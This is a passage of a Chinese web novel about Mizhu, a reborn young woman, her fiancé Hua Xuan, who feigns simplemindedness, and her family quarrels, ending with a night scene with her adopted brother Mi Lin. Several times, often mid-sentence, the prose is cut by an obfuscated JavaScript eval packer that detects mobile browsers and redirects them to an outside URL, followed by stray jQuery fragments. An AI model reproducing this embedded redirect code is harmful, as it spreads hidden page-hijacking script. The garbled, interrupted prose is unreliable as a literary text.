反正南宁世子听不懂她们说话,蜜珠就没有刻意避开他,而是索性当做他不在场,和华静莙开口说话。 华静莙生得有些古灵精怪的模样,一听蜜珠这样说,一双眼眸就古溜溜转,也不知道想到了什么,脸上笑容忽的灿烂起来。 “好的呀。那我们先离开,让我兄长继续养着吧。” 说到最后三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她本以为,所有女子在家中,多半都是有些谨言慎行的,但看着方才华静莙说话时,如此神采飞扬的模样,大概可以想象,她在家中是如何的受宠。 虽然华静莙过的日子不是自己的,但蜜珠却觉出一股欣慰。 原来也有女子,活出了些肆意的色彩。 而且这个地方,兴许在不久的将来,也会是她生活的地方。那么这里多一些对女子的宽容,于她来说,也是更加盼望的。 匆匆赶来见一面世子后,确定对方的伤势并没有严重到会致命。 离开之前,蜜珠对亲自送到门口的长公主欲言又止。 “市坊传闻世子体弱多病,这么多年只能卧床养病,我今日观他面色的确有些苍白,是否要去寻一些名医,替世子调理身子。” 这话提出来,虽然有些突兀,换成旁人这么说,长公主心中多半不喜,但这人若是蜜珠的话,效果就又不一样了。 毕竟哪怕在以为自家儿子痴傻的情况下,蜜珠依然能特意过来看望,这份真心就足够她尊重。 “你放心,宣儿的身子…不似外界传得那般差,日后你就晓得了。” 长公主也从话里些微透露了点意思。 27.第 27 章 蜜珠听长公主这般说,虽没听懂对方的言外之意,但也知道此事不是自己所能决定的。 她总不能直接和人说,上辈子世子就是久病不治,才会暴病而亡? 重生之事,哪怕是和娘,蜜珠都没怎么细说过,只在一开始对付曲立封的时候,隐约用做梦的方式提起过一嘴,后来就再也没说过了。 怪力乱神毕竟为世人所不喜,这点蜜珠心中还是有分寸的。 她才刚离开王府,华静莙就跟只小鸟儿似的,迅速飞到兄长那儿,叽叽喳喳道。 “兄长兄长!嫂嫂走了!” 华宣知道自己的胞妹古灵精怪,在她面前并没有刻意去伪装,闻言只是抬眸扫了她一眼。 方才祖母也来看过她,刚好卡在了蜜珠离开的时候。 应付过几轮今日来关心他的人,华宣苍白的脸上是几抹并不明显的疲惫。 “今日去了哪儿?”华宣忽然开口。 若是没有外人在场,这两年华宣几乎已经不会再特意装成痴傻的模样。 尤其是随着妹妹长大懂事起来,知道什么话能说出去,什么话不能说。华宣和这个妹妹之间,就也多了些沟通。 华静莙调皮地朝着他皱鼻子:“嘿,兄长,你想不到吧。我这几日都去金玉阁蹲嫂嫂了,好不容易今日撞见她。” “她想来订一些首饰,但咱们金玉阁里的师傅那儿排了好多活儿,腾不出空去接这些急单。” 说完这些,华静莙还特意停顿片刻,去瞅兄长的反应。 华宣脸色平静,只有黑眸瞧着深不见底,根本看不清他有什么情绪。 华静莙懊恼道:“兄长,你都不好奇我做了什么吗?” 华宣瞥她一眼,没拆穿妹妹上蹿下跳等夸奖的心思,配合道。 “做了什么?把你订的首饰让出去了?” 从华静莙满十岁开始,几乎每个月她都要去金玉阁溜达一圈,然后让师傅去专门给她打一批精致的头面首饰出来。 小郡主美其名曰,是为了将来成亲做准备,每个月都攒一批首饰,将来就能富可敌国! 自幼就不怎么在京城与其他女娃娃接触的小郡主,几乎把所有的兴趣,都放在了给自己打首饰上,打好了她又不戴,知道南宁王府要在皇帝面前保持低调,她就连好看的衣裳都不穿,只尽量和长公主一起做出面上的简朴。 这才有了前些日子皇宫里举办家宴,长公主母女俩一唱一和,在皇帝连同整个后宫面前哭穷的场面。 总之,华静莙在首饰方面就像只守财的神兽,只进不出,谁也不晓得她藏了多少好东西。 这次能主动让出首饰给蜜珠,可以看出她心底里对未来嫂嫂的喜爱与肯定了。 华静莙本来还想卖一个关子的,但见兄长这么轻易就猜到自己做了什么,不由哼了一声道。 “对啊,那是我未来嫂嫂嘛,她想要首饰,我定然不会眼睁睁瞧着她空手而归。” 说起来,金玉阁里其实是有南宁王府的一份产业的。 当初长公主成亲,金玉阁就是作为嫁妆之一被陪嫁。长公主素来就是宠爱自己孩子的,早早就把自己的部分产业转移到了一子一女的名下。 所以小郡主也算是金玉阁的小东家,这才能在掌柜面前说话这么管用。 喜滋滋说起今日和蜜珠发生交集的华静莙,毫无在外人面前表现的那种木讷和防备,活脱脱就是一个在爱里被养大的姑娘。 华宣勾起唇:“既对你未来嫂嫂这么大方,兄长也得大方一些才是。” 华静莙立刻就竖起脑袋,好奇道:“兄长预备如何?” 华宣含笑看她,伸手将华静莙脑袋上的头发揉成一团。 “过几日再说罢。” 他先前送未婚妻贴身的软甲,却被被拒绝。不知同样的东西,若是让妹妹去送,会是什么效果? 他隐约觉得,蜜珠并不是那种只喜欢华服美食与首饰胭脂的女子,这姑娘有点儿不爱红妆爱武装的意思。 可明明生成了这般天香国色,就是明帝后宫里的那些嫔妃,到了蜜珠跟前,怕是都压不住她的颜色。可偏偏这姑娘却有着与时下女子截然不同的性子。 华宣下意识就想看对方满足,做成一切想做的事。 “那兄长兄长,今日蜜珠姐姐来,你高兴不?” 华静莙难得见兄长情绪如此丰富,忍不住刨根问底。 她总觉得蜜珠姐姐就像一株让人看了心情都会好的美丽花花,花花虽然没有生长在他们王府,但却带着芬芳而来,令见过的所有人,都因此感受到了一点儿春日的明媚。 仿佛大家借由这朵花,看到了更加绚烂的地方。 虽然兄长没有回答她的问题,但她心中已经有了答案。 谁能不喜欢蜜珠姐姐这样的姑娘呢? 兄长也一定是喜欢的! 等到华静莙也离开了房间后,暗卫终于寻来了空,单独出现在了南宁世子面前。 “回禀世子,蜜姑娘府上一切正常,并无任何行迹古怪之人。” 暗卫私底下是负责蜜珠安全的,基本上每日都会回来,单独和华宣回禀这一日里发生的事情。 华宣听着沉吟不语。 暗卫却面露几丝犹豫,半晌,豁然抬头道。 “但有一桩事情,属下暂时发现了些异常。” 华宣目光如炬:“说。” 暗卫:“近来有一男子,总是在蜜府附近出没,似乎在暗暗蹲守蜜姑娘。” 说实话,这事儿暗卫是不太想去关注和说的。 他只负责未来世子妃的安全,可又怕这些蛛丝马迹不说,将来万一发生什么差错了,自己背锅。索性就提前把发生的所有事情,事无巨细说清楚。 “这男子形迹可疑,但看样子是蜜府的熟人,属下要再继续深查他的身份吗?” 暗卫说起这个时,心里在犯嘀咕。按照他这几日的观察和了解,这曲姓男子,似乎过去和未来世子妃关系匪浅。 这就让人不得不深思了。 尤其是在他们世子面前说起这个,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看到了江湖中人如此不讲道理的拦马车,竟然一点不害怕,还敢藏在帷帽后面,和他谈起如何交易。 明明那时候他并没有见过蜜珠的容貌,甚至脑海也想象不出来这姑娘会是怎么样的神情,但对方的声音却如此生动,情绪丰富。 对方带点儿好奇的问自己关于习武的事情,像极了丛林里的小狐狸,对人产生一点儿探究,就伸出爪子,轻轻勾了勾读书人的衣袖。 那一爪子就像挠在了华宣心口,让他感觉怪奇特的。 很陌生,是懂事以来第一次体会到这样的感受,但却不讨厌,反而有种隐隐的欢喜。 毕竟蜜珠哪怕再提防戒备,瞧着也不过是个才及笄的小姑娘,眼眸怯生生,声音却轻柔动人,她是那么柔弱纤细,仿佛自己只要稍微用点力气,就能把对方完全制住。 28.第 28 章 就是这样的纤弱对比,才让华宣更加对蜜珠声音里藏着的旺盛生命力,产生了强烈的探究之意。 时下的闺阁女子向来柔弱,但聚在一起时,又总爱说一些小话,讨论的无非都是京城里那些绕来绕去躲不过的话题。 要么是哪家铺子的首饰时兴,要么又是文绉绉的说一些诗词歌赋。 华宣并不讨厌女子有才学,但他更喜欢女子能跳出身份限制,拥有一点除了世俗赋予女子之外的特点。 否则,人人都在一个套子里活,这世道就让女子变得不像是真人了,而是被各种规矩和礼仪驯化的假人。 是以,在蜜珠表露出对习武的兴趣后,华宣甚至生出了一种惊喜之感。 他甚至是纵容着满足蜜珠的兴趣,甚至特意将在帮派里的阿晴调来。 以阿晴的性子,若是接触了蜜珠,知道有大户人家的姑娘想要习武,定也会惺惺相惜,倾尽全力去教对方的。 只不过他没想到,蜜珠的“魅力”如此大,阿晴在帮派中一向对旁人冷淡,但来了京城,才不过和蜜珠接触了两日不到,就直接愿意搬到对方府邸去住了。 但若是没有蜜珠这边单方面的邀请,进度也不会如此之快。 华宣想着这些,甚至脑海都能浮现蜜珠是怎么俏皮的像只小狐狸那样,在阿晴跟前极力邀请对方去府邸住的样子。 尤其是…在今日蜜珠特意来探望自己,他们正式面对面用本来面目相见的第一次。 他近乎贪婪地注视着蜜珠,几乎想要让对方知道,其实他并没有京城传闻里的那么糟糕。 但理智尤在,他并没有容许自己做出什么。 天知道当蜜珠真正离开时,望着对方身影,他心中骤然生出的那种不舍感,是从何而来。 礼物,像一个老天赏赐给他的礼物。 他从前怎么从未留意过,这世上有这么好的姑娘。 不嫌弃他傻,也不嫌弃他病弱,一听到他出事了,连夜坐着马车来看他。 华宣知道,不管蜜珠是否只是因为婚约,才如此对自己。 他心中涟漪,都因为这姑娘被掀起了波澜,似乎再难恢复平静。 蜜老爷今日难得还没睡,一直等着妻子王氏和女儿回来。 他这么贤惠,在厅堂里来回踱步,像是很担心的样子,甚至还不许刘小娘回房睡,让她也一起陪着等。 蜜云本就和蜜珠关系好,这几日因着一起偷偷习武,感情更是突飞猛进。 知道嫡姐去王府探望世子了,这么晚了,没见着人回来,她心里也担忧,于是也主动陪着等。 倒是刘小娘,往日这个点早就躺在榻上睡大觉了,因着蜜老爷让她一起等,她坐在那儿暗暗翻白眼。 还以为她不知道蜜老爷是个什么秉性么,真当他那么关心妻女? 还不是想知道,此次蜜珠二人去王府,看到的是个什么景象。 当然也有想确定南宁世子伤势如何的缘故。 毕竟刚定完这门亲事,前脚人家才送了聘礼来,后脚若是世子出个什么意外人没了。若是遇到那种不厚道的人家,甚至还会说蜜府的姑娘八字不好之类。 这是牵一发而动全身的事儿,会影响到蜜老爷当官的前途与名声。 他当然会着急关心。 除了他们三人之外,角落还坐着蜜林,自从上次骂了王氏被蜜珠打过一顿后,见蜜老爷也没有给自己撑腰,蜜林就学乖觉了,许多事儿都不出头,只继续隐在暗处默默观察。 一屋子里四个人,心思各异。 蜜老爷在来回踱步,伸长了脖子张望外头的时候,一扭头,就看到刘小娘靠着桌子,在那儿打哈欠。 这副浑身好似没长好骨头的样子,往常是容易让蜜老爷心生怜惜的,但换了个场合再看,似乎就变了个味道。 他心里莫名跳出来一股无名火。 “你看看你,坐没坐相!妾室就是妾室,上不了台面的东西!” 蜜老爷嘴巴骂人难听,是府里公认的了,尤其是蜜府这些跟了他许久的老人,都知道他发怒的时候,什么难听话都往外蹦,总之,跟他在官场上刻意朝外营造的形象,是八竿子打不着关系的。 若是他那些同僚知道他在后宅,会如此暴躁粗俗地骂人,恐怕都会不敢置信。 但刘小娘和蜜云母女俩,也早就已经习惯了他这样,闻言也只是收回了目光,变得拘束了一些。 刘小娘的坐姿明显僵硬了一些,垂着眼时,眼里闪过些许愤恨。 死老头当初看上她,想让她做妾的时候,说话那么好听,一将她弄进门就原形毕露了。 要早知道蜜老爷是个什么样的德行,她宁愿去做清贫人家的正房夫人,也不受这个气做个侧室。 但此时再说什么,也是来不及了,她只能暗暗忍着。 偏巧在这个时候,蜜珠二人回来了。 反正大老远的,蜜珠一进门就听到爹在劈头盖脸的骂人,刚好把方才那句话都听在了耳里。 “爹,我们回来了。”蜜珠唤了一声。 蜜老爷登时就看过来,快步走上前,关切道。 “如何?” 王氏在一旁叹气:“的确是受伤了,在养伤,不过幸好,没什么大碍。” 蜜老爷一听这话,心里的石头立刻放了下来,快步在厅堂里走了几步。 “老天保佑。” 这世子可不能有个什么大病大灾的,越是成亲之前越是要好好地。 这可是他们家距离成为皇亲国戚最近的一次。 只要攀上了长公主,将来蜜府必定也能被带起来一些。 蜜老爷的盼头,几乎都写在了脸上,家里的女眷每一个都看在眼里,素来已经习惯了,就都做不出什么反应了。 倒是刚来蜜府不到一年的蜜林,虽然前头才刚在祭祖时上了族谱,但对于京城中的各种势力了解还不深。 他撇了撇嘴,没让蜜老爷看到自己的变脸,只在心中不服气。 嫡姐只是要嫁给一个傻子,爹就忙不迭这么跑前跑后的等着人回来,太上赶着了,至于么。 他还嫌丢人呢,府里的嫡姐嫁给一个傻世子。这让他往后怎么在学堂里混,别人动辄就要不冷不热的说起这个。 因着是孤儿出身,自幼见多了别人的捧高踩低和人情冷暖,蜜林心底里比谁都现实,也更在乎旁人的目光。 蜜珠一进门,看到蜜林也在,心中当即就知道,多半是因为爹的缘故,这小子才会老老实实坐在这儿一起等。 她眸光拂过蜜林,两人对视片刻,蜜林先哼的一声挪开了目光,只觉得先前被打板子的地方,又在隐隐作痛了。 显然上次的交锋,还是让蜜林自觉吃亏后,行事收敛了些许的。 “好了,既然世子没事,那就皆大欢喜。珠儿,往后你多去看看世子,我们两家已经结亲,就是一家人了…” 蜜老爷图穷匕见,又加了一句道:“把你弟弟也带上。” 他打的好算盘,偌大的南宁王府如今除了一个痴傻的世子外,这一辈就没有男丁在。长公主又和其他的女子不同,就注定了南宁王不可能有非长公主所出的子嗣。 若是让自家的蜜林,去和南宁王走近一些,多少能得到些扶持。 就是多混个脸熟,也是有好处的嘛。 蜜老爷的算盘珠子都快打到人脸上去了,蜜珠也只是笑了笑。 “爹,长公主不喜人多,喜清净,恐怕不会希望我带外男去。毕竟府里还有郡主在。” 蜜老爷听了这个,皱了皱眉,但也没再说什么了。 然而蜜林在一旁听了个分明,只知道嫡姐不愿意带自己多去露脸,一时间又羞又怒,涨红了脸道。 “谁要和你去王府!一个傻子,有什么好稀罕的!” 他这话说完,别人还没来得及反应,蜜老爷已经一个转身,一巴掌扇了上去。 只听清脆的一声,蜜林不敢置信地捂着脸跌坐在地上。 他毕竟还是个半大点的少年,来到陌生环境后,认蜜老爷当爹,这段时日又一直被好好宠着,心底里对蜜老爷是最亲近的。 然而如此亲近的爹,却忽然打了他? 蜜老爷没有察觉这个小少年的情绪,只怒火中烧道。 “你这张嘴若管不住,还不如变成哑巴!” 当儿子和仕途乃至官运发生冲突的时候,这好不容易过继而来的儿子,当然就成了没那么重要的。 蜜林不发一言狠狠瞪着蜜老爷,只片刻,他忽然身子从地上一跃而起,头也不回往屋子外冲去。 “你去哪儿?!” “逆子,给我回来!”蜜老爷面目狰狞地喊。 然而半大的少年跑起来,根本头也不回,怎么喊也不停,反而一眨眼就没了身影。 众人都吓了一跳,在蜜府可从来没有人这样顶撞过蜜老爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419090|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜林算是第一个。 一时间,众人都看着蜜老爷,想看他是怎么处理。 就连蜜珠都有些诧异。 她记得前世从头到尾,爹对蜜林的态度都很好,好到近乎把对方捧着供着,可从来没有过像今日这样的矛盾冲突。 但一想她爹那秉性,向来最关注的是自己,重视蜜林也是因为对方是男丁,过继来后能为自己养老送终,那在没有触及到切身利益的时候,爹当然就不会展露现在的这一面了。 一场闹剧结束,蜜珠也有些乏累。 回小院子的时候,蜜云瞅着空走到她身侧,小声问她。 “嫡姐,你去王府见了世子吗?他好吗?” 知道蜜云是真心关切自己,蜜珠没有隐瞒:“见到了,他在养伤。” 毕竟是亲姐妹,难得有这样说小话的空,蜜珠唇角含笑。 “我还见到了他长什么样。” 蜜云好奇极了:“世子一定长得很英俊?” 蜜珠笑吟吟:“你怎么知道?” 蜜云就不好意思地笑了:“我想,嫡姐这般容貌,老天若是要给你配夫婿,无论如何总要配一个英俊些的。何况我猜长公主和南宁王,从前都是不可多得的人物,他们的孩子总是不丑的。” 他们这一辈年纪太小了,距离长公主和南宁王的故事,隔了整整一代,所以了解的内情不如那些老人多,但再怎么样,还是能知道些许的。 长公主可是因为南宁王过于清俊,才放弃了整个京城的大好男儿,转而选择了令她一见倾心的南宁王。这事儿在当年,算是让许多人下巴掉到地上,无法接受呢。 听着妹妹分析起这些来,头头是道的模样,蜜珠忍俊不禁,捏了捏对方脸颊。 “云儿好聪明呢。” 被嫡姐一夸,蜜云身后都快长出尾巴来晃动,高兴到眼睛都装了小星星,亮晶晶看着她。 “我这不算什么。嫡姐才聪慧呢。” 从小蜜云就对蜜珠有一种天然的向往和佩服,只不过小时候总是被刘小娘勒着,不许多和这个嫡姐亲近,才不能多相处。 这段日子姐妹俩的相处,几乎比以前加起来都多,这让性子有些内向拘谨的蜜云,脸上都多了一些笑靥。 “嫡姐,蜜林今日说话难听,你不要往心里去。” 想到了方才弟弟在厅堂里骂的那些话,蜜云忽然开口安慰。 蜜珠怔了一瞬,才缓缓笑道。 “我自然不会往心里去。” 蜜林是那种受不得激的性子,兴许是因着幼时身边的环境太过于动荡,总是变来变去,又受过一些委屈,才会在感觉不安和被否定的时候,就爆发出一种攻击性,说出一些口不择言只为了找回面子刺伤别人的话。 两世为人,蜜珠当然不会因着半大少年的气话,而有什么情绪。 更何况,蜜林说的其实也是事实。 而蜜老爷为何会那样勃然大怒?无非是因为遮羞布被拆穿了,面子上挂不住,还担心这话将来传出去,会传到南宁王府或者陛下的耳朵里,从而引来什么波澜罢了。 就是因着这些顾虑,才有了今日蜜老爷大发雷霆的一幕。 … 今夜外头忽然下起了暴雨。 蜜珠是被外头轰隆隆的滚雷声震醒的。 窗户都被外头的风吹开了些许,然后顺着风的力道来回晃动,发出费劲的吱嘎声。 守夜的小柳儿似乎是在外头睡得太沉了,没有听到动静。 蜜珠起身自己去关窗,关到一半时,忽然想起来什么,起身去拿了灯笼还有纸伞,将外袍穿好,竟是打算出门的样子。 她经过外间的时候,瞧见小柳儿抱着被子正睡得昏沉,她摇头失笑。 这副模样的小柳儿,也只有现在才能看到了,放在前世,这个时候的柳儿已经因着她的缘故,开始担忧起整个蜜府的下落,变得惊弓之鸟一般惶惶不安了。 雷声很大,雨也颇有一点下起来不会再停的架势。 蜜府后院是一有一座比较巍峨的假山的,蜜珠还记得幼时自己特别喜欢趁着丫鬟婆子们没注意,就偷偷跑到里头的洞里躲起来。 假山成为了一个天然的屏障,让外头的喧嚣被阻挡,就好像这个世界只剩下了她自己一样。 等蜜珠长大一点儿后,就不再往假山洞里跑了。 但今日,这个地方显然迎来了新的主人,里头似乎在有人哭。 29.第 29 章 迎着风雨,蜜珠一步一步走到假山面前的洞口,将灯笼往那一放。 里头本来影影绰绰传来的哭声,忽然歇掉。 蜜珠又在那儿站了会儿:“还不出来?” 她话音落下,又过了几息,一道瘦瘦的身影慢吞吞从里头走了出来。 对方低着头,耷拉着脑袋,很像是一株没怎么养好的绿豆苗。 又是一道闪电划过长空,蜜珠终于看清了对方的脸——毫无白天耀武扬威之感的蜜林。 这还是蜜珠头一次见到如此了无生气的蜜林,没了先前的那种虚张声势,也没有气急败坏时仿佛破罐子破摔的羞恼,只有数不尽的沮丧。 再配合对方身上湿哒哒的样子,活像是从水里捞出来的一般,看着就好不狼狈。 两人一时间都没有说话,像是在比谁先开口就先输掉的游戏。 好一会儿,蜜林嗓音干巴巴地开口了。 “你来嘲笑我?” 蜜珠将油纸伞撑好,挡住从假山缝隙那儿吹来的雨。 “我嘲笑你什么?为了笑话你,半夜不睡觉,冒着风雨和雷电特意找到这儿来吗?” 很奇怪的,在白日,每次这对姐弟见面时,都会带点儿硝烟的气氛,反而在今夜这样的雷雨天气里,悄无声息转变成了一种沉静。 仿佛是雨和雷电,在代替人类生出起喜怒哀乐,从而让人能平静下来,说一说心里话。 蜜林没有吭声,他对这个嫡姐的观感很复杂。 从第一次见到对方起,就觉得嫡姐和那些个高门大户家肩不能挑手不能提的千金小姐没什么两样,头发长见识短,根本不用放在心上。 约莫过个两年,这嫡姐就会嫁出去。 所以他打从一开始,就没有对蜜珠投以太多注意力。 哪怕对方被皇帝赐婚,在他看来也不过是跳入了一个旁人不能正大光明嘲笑的火坑而已。 他甚至都已经能想象到,对方将来在后宅中整日以泪洗面、偷偷哭泣的样子了。 总之,整个蜜府对他来说,就没有什么能让他看得上的人。 别以为他不知道,所有人都是趋炎附势的,根本就不欢迎他这个过继而来的人。 也就爹对他真心一些,是真正想要他养老送终的。 仗着这份底气,蜜林几乎把小祸闯了个遍,观察众人对他的态度。 本来一切都好好的,直到那日他顶撞完王氏,却被那个嫡姐带着那么多下人闯到了他住的院子,自己和随身书童都被抓起来。他更是挨了一顿板子。 来蜜府之后,他就没吃过那么大的亏! 蜜林当然咽不下这口恶气,于是就让人去和爹告状。 可谁知道,往常对他几乎百依百顺的爹,这次竟然没有站在他这边帮他出气! 更甚者,他派出去的书童偷偷听到爹和蜜珠的交谈,说是长姐如母,若是以后他还有什么做的不妥当,让她这个做嫡姐的继续管教! 蜜林的所有气焰,都在这件事里消失了。 他没想到爹那么靠不住。 而所谓软弱无能的嫡姐,厉害起来时竟然还能掌控爹的意志,反过来对付他。 他觉得自己在蜜府的地位,从那天起就开始直线下跌。 昨儿夜里,爹竟然还那样骂自己。 蜜林清楚整个蜜府都不欢迎自己,当初是爹一意孤行要把他接回来过继的。而今对方却不再尊重自己这个过继来的“嫡子”,颇有一种卸磨杀驴过河拆桥的意思。 不到十岁的蜜林,见惯了人情冷暖,骤然失去了那种被在乎的感觉后,只觉得一切都乱了。 他还怎么在蜜府待下去呢? 如今他对蜜珠的印象,早就已经不是当初那样了。 他甚至觉得这个嫡姐,其实焉儿坏得很,瞧着柔柔弱弱很好欺负没有主见,但一遇到什么关键事,马上就立起来给人扇巴掌。 他就是吃了这么个亏! 心中想起这段日子经历的所有事情,一时间百般情绪都涌到了心头,蜜林听到了自己撕裂的哭腔。 “你就是见不得我好!你坏!特意来看我笑话!” 若不是特意来看他笑话,有必要循着声音,特意半夜里趁着下雨来听他哭吗? 蜜珠还是头一次看到有人在她面前,哭得这么气急败坏和理直气壮,像极了一个狼崽子,见谁咬谁的那种。 “是啊,我就是来看你笑话的。怎么先前神气活现的,如今却哭成这样呢。三岁小娃娃才像你这般哭。” 蜜珠也不惯着他,反正说好话,她这个弟弟是听不进去的。 在那儿嗷嗷哭的蜜林,就跟忽然被人捂住了嘴似的,一个字都不嚎了,他瞪眼看蜜珠。 蜜珠也顶着时不时亮起的闪电瞪他。 “少爷,少爷!” 雨声渐渐小了,从池塘那边摸过来一道蹑手蹑脚的身影,正压着嗓音喊人。 听那声音,赫然是蜜林的书童,终于找到这儿来了。 想来先前蜜林已经躲在这个假山里,有好一会儿了。 “快回去吧。在这儿哭,爹知道了也不会心疼,只会骂你。” 蜜珠开口,将手里的灯笼递给对方。 蜜林没接灯笼,只撇开了脑袋:“猫哭耗子假慈悲,谁要你关心。” 蜜珠一挑眉:“我也没说我在关心你。只不过夜黑风高的,还有个人躲在外头哭嚎,怪扰人睡觉的。” “你!”蜜林竟然有些说不过这嫡姐,只能气得干瞪眼。 半大不小的少年郎,哪怕平时再耀武扬威,装的如何厉害,当表面那层壳儿被掀开之后,内里剩下的依然是柔软又害怕被人伤害的心。 瞧着其实有股可怜。 蜜珠伸手,胡乱揉了一下他脑袋,后者又跟警觉的猫儿那样,一下子弹起来往后跳了两步。 蜜珠难得正色开口道。 “蜜林,不管你从前经历了什么,如今你都已经是上过族谱,祭拜过祖宗的蜜府嫡子。” “难道你之前的嚣张气焰,全都因着女子软弱不敢反抗,而爹却一直不分是非黑白单方面宠溺你么。所以一旦有了挫败,事情不如你所想的那样进行,你就失去了所有底气。” “爹只是训斥你几句,你就伤心成这样。那往日你对着弱质女流和长辈破口大骂的时候,可曾想过,他们也会像你这样伤心?” 蜜珠几句话下去,蜜林的眼睛就通红起来,像是被戳到了痛点,又要像跳脚的猫那样炸起来。 可偏偏蜜珠又话锋一转:“男子汉大丈夫是不会这般自怨自艾又自怜的。好男儿不仅不会欺压女子,通过在她们身上释放怒火来彰显自己的能耐,反而会真正发自内心怜惜弱小,去面对任何艰难困苦之事,哪怕泰山压顶也面不改色,因为他们胸怀广阔,心中有丘壑。” 闪电依然不时从头顶的天空飞过,蜜林只能看见自家嫡姐的一双眼睛,亮的不像是女子能有的样子,仿佛完全看透了人心,宛若擦洗过后明净到反光的镜子。 被她这样注视着,蜜林整个人忽然都动不了了,像是被某种巨大的力量迎面击中,整个脑海都不由自主回荡蜜珠的那些话。 “蜜林,等你长大成人了,你到底是想做一个只能在弱者面前逞威风的懦夫,还是想做一个无愧于心能顶天立地的英雄呢?” 每一个字都像是惊雷一般,炸响在耳边,震撼着蜜林尚算幼小的心灵。 他过去也上过私塾,但私塾里的夫子成日里文绉绉的让他们读书背书,摇头晃脑地让他们跟着读,却少有人把道理讲得如此明白。 嫡姐不是那种饱读诗书的夫子,但方才说的每个字,都莫名有种直击人心的力量。 蜜林近乎是本能的感觉到了羞惭。 他好似在此刻才意识到,过去自己做的那些是错的。 他就是嫡姐口中那种,在比自己弱小的女子面前逞威风的懦夫。 可是一个人要承认自己是错的,是需要极大的勇气的。蜜林暂且不具备这样的勇气,就本能的想要顶撞面前和他说出这番话的嫡姐,仿佛只要把对方反驳,就是成功维护了自己的志气。 “说得好听,你就是欺负我人小,我是外来的。我知道你们都想让我走,不承认我是蜜府的人!” 在书童找来之前,蜜林几乎是吼着喊出了自己藏在内心深处的心里话。 蜜珠没有再说话,只是将油纸伞撑好,转身走了。 书童刚好赶来,看到了蜜珠从假山后绕出来,他差点吓出一身冷汗。 “…大、大小姐…” 昨日夜里大小姐和夫人从王府回来后,因着小少爷说错了话,惹来老爷的训斥,而后小少爷就冲回了房间,就连晚膳都没用,到了夜里更是早早就歇下了。他本以为这是少爷使性子,过去了就好了,却没料到,后半夜醒来房里不见了少爷踪影。 外头还下着雨呢,他又生怕被责罚,只能自己先闷着声慢慢找少爷。 没成想,找到后山假山这里,都看到灯笼的火光了,却见假山里走出来大小姐。 换成从前,书童是万万不会那么害怕蜜珠的,但经历过最近几次的事件,亲眼看到蜜珠教训自家少爷,又能让老爷都反过来听话。而往日里不管事的主母王氏,也从懦弱可欺的主母,变成了威严的性子。 书童如今是怕极了府里的规矩,生怕和先前在厨房干活儿的金氏一样,被抓住了做错事的尾巴逐出蜜府。 然而蜜珠却只是瞥他一眼,轻声道。 “回去煮一些姜汤,让小少爷喝下,别着凉了。你也一起,早些歇下。” 书童愣了一下,喏喏应是,但心中却是松了口气。 大小姐非但没有责罚他,甚至还主动关心小少爷…还让他也早些歇息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430255|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间就好像有人给他兜了底,让书童一下子宽慰许多。 说实话,给蜜府少爷当差,并不是多么轻松的活计。 少爷性情有些古怪,还容易生气着急,常常做出一些出人预料的事情,甚至数次顶撞府里的主母,弄得他们这些下人夹在中间,很是为难。 前些日子大小姐虽然惩治了小少爷,却也让对方暂时安分了一些,不再那么闹腾,就是从学堂溜走这些事都少了点,这也让书童觉得日子好过了点。 只不过今夜闹出来这么一遭,让书童心惊胆战,生怕找不到少爷出了事,那他就是有几条命也不够赔的。 毕竟蜜老爷好不容易靠着过继,才得来了这么一个独苗苗儿子,若就真这么出点儿事,难保不发疯。 蜜珠和王氏这些日子的所作所为,成功让府里的下人慢慢有了——大小姐和主母才是管后宅的印象。 如今蜜珠知道了深夜小少爷跑走的事情,就好像这事儿过了明路一般,书童不再那么忐忑了。 等蜜珠的身影离开后院了,书童转身进假山去寻自家少爷,却见他俯身去捡地上的灯笼。 书童忙凑过去帮忙,蜜林却将身子一避,把灯笼换了个手拿住。 “不用你。” 书童有些纳闷和稀罕,少爷竟还主动拿灯笼了?往常少爷最喜欢摆谱,让下人忙前忙后做点什么,好衬托出他作为主子的气派,怎的今夜对这么个小灯笼那么重视。 “咱回吧少爷?”书童小心翼翼发问。 “你方才见到谁了?”蜜林不答反问。 书童犹豫了片刻,才道:“大小姐。” 天知道他见着大小姐的时候,心里有多慌。但大小姐非但没责怪他,还成了主心骨关怀他和少爷,这登时,心里的滋味儿就不一样了。 “她说什么了?”蜜林盯着自己的书童,眼睛像是一头狼崽子一样,眼里发出的光都是防备又警惕的。 原本被他捡起来的灯笼,一头把手被他捏在手里,紧紧攥着,像是随时要用力把它折断一般。 